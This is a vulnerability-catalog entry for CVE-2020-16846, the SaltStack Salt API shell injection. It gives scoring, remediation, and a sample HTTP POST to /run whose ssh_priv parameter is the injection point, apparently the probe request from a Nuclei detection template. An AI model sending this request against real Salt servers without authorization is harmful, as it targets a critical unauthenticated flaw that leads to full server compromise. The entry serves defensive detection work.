| Title | SaltStack <=3002 - Shell Injection |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary shell commands via the Salt API, leading to complete server compromise and access to all managed systems. |
| Remediation | Upgrade to a patched version of SaltStack (>=3003) to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94387 |
| CVE ID | CVE-2020-16846 |
| CWE ID | CWE-78 |
| Tags | cve2020 cve vulhub saltstack kev vkev vuln |
SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client.
POST /run HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Content-Length: 62
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
token=1337&client=ssh&tgt=*&fun=a&roster=jqrtaz&ssh_priv=tebjt
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-16846.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-16846.pcap
N/AN/A